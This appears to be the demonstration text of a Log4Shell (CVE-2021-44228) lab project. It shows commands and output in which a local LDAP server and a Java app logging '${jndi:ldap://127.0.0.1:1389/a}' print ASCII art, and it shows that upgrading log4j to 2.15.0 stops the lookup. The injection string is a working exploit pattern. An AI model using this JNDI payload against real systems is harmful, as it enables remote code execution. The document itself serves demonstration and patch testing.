$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...